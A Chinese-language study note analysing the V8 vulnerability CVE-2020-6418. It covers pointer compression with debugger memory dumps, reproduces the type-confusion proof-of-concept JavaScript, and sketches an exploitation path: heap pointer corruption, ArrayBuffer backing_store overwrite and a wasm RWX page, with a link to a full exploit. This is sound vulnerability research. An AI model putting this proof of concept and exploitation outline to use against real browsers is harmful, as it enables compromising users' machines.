browser-pwn cve-2020-6418漏洞分析

前言

本文是学习笔记,参考[博客](https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90_

指针压缩 Pointer compression

v8 8.0之前,tagged pointer 有三种表示方法:

1
2
3
Smi:                   [32 bits] [31 bits (unused)]  |  0
Strong HeapObject: [pointer] | 01
Weak HeapObject: [pointer] | 11

比如 a = [1, 2] 在内存中的表示为:

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x31c7b978dee8
00:0000│ 0x31c7b978dee8 —▸ 0x3a629e640851 ◂— 0x3a629e6401
01:0008│ 0x31c7b978def0 ◂— 0x200000000 // length
02:0010│ 0x31c7b978def8 ◂— 0x100000000 // 1
03:0018│ 0x31c7b978df00 ◂— 0x200000000 // 2
04:0020│ 0x31c7b978df08 —▸ 0x3a629e640851 ◂— 0x3a629e6401
05:0028│ 0x31c7b978df10 ◂— 0x400000000
06:0030│ 0x31c7b978df18 —▸ 0x43634903b29 ◂— 0x3a629e6409
07:0038│ 0x31c7b978df20 —▸ 0x31c7b978d039 ◂— 0x9600003a629e6409

在 8.0 之后, 新的格式被采用了:

1
2
3
Smi:                                      [31 bits]  |  0
Strong HeapObject: [30 bits] | 01
Weak HeapObject: [30 bits] | 11

a = [1,2]在内存中的表示如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x3b1e0824ffe4
00:0000│ 0x3b1e0824ffe4 ◂— 0x4080404d9
01:0008│ 0x3b1e0824ffec ◂— 0x400000002
02:0010│ 0x3b1e0824fff4 ◂— 0x80411c9
03:0018│ 0x3b1e0824fffc ◂— 0x80404890824ffe5
04:0020│ 0x3b1e08250004 ◂— 0x80404b100000000
05:0028│ 0x3b1e0825000c ◂— 0x824fff500000002
06:0030│ 0x3b1e08250014 ◂— 0x2e080409c5
07:0038│ 0x3b1e0825001c ◂— 0x825000108250009 /* '\t' */
pwndbg> x/20wx 0x3b1e0824ffe4
0x3b1e0824ffe4: 0x080404d9 0x00000004 0x00000002 0x00000004 // 1<<1 2<<1
0x3b1e0824fff4: 0x080411c9 0x00000000 0x0824ffe5 0x08040489
0x3b1e08250004: 0x00000000 0x080404b1 0x00000002 0x0824fff5
0x3b1e08250014: 0x080409c5 0x0000002e 0x08250009 0x08250001
0x3b1e08250024: 0x0804030d 0x00000010 0x00000008 0x00000000
pwndbg>

这里telescope 就用不了了,或者说没必要使用了。 使用地址的时候也发现64位下,不是8的倍数了,
所有数据都变成32位了。 v8会先申请一块大内存,然后将高地址保存在寄存器(R13)中 ,这样当访问tagged pointer 的时候就只要使用32位就够了。

漏洞分析

poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Flags: --allow-natives-syntax

let a = [0, 1, 2, 3, 4];

function empty() {}

function f(p) {
a.pop(Reflect.construct(empty, arguments, p));
}

let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});

function main(p) {
f(p);
}

%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);

main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);

根据commit中的信息,应该是a.pop调用的时候,没有考虑到JSCreate结点存在的side-effect(会触发回调函数),改变a的类型(变成DOUBLE),仍然按之前的类型(SMI)处理。
执行poc后得到结果:

1
2
3
4
$ ../v8/out/x64.release/d8  --allow-natives-syntax   ./poc.js
4
3
0

在调试之后,发现确实如刚才的猜想。

漏洞利用

因为pointer compression的存在,不能像之前一样无脑通过ArrayBuffer来进行任意读写了。但是很容易想到的是可以通过改写数组结构体elements或properties指针的方式实现堆的4GB空间内任意相对地址读写;可以通过修改ArrayBuffer结构体的backing_store指针来实现绝对地址的读写。

链接如下:
https://github.com/ray-cp/browser_pwn/blob/master/v8_pwn/cve-2020-6418/exp.js

需要注意的是:

  1. wasm rwx 的偏移不同版本不一样,可以通过debug版本测一下。
  2. 如果不实现AddrOf的话,需要通过OOB read 才能获取到wasm function的addr。

总结

看了比较多的例子,发现很多漏洞都是在各种callback中,改变对象的某一种属性导致的漏洞,比如改变数组的长度或者是对象的类型。开发这在实现这个方法的时候,很容易忽视这种安全性的改变。

引用

https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5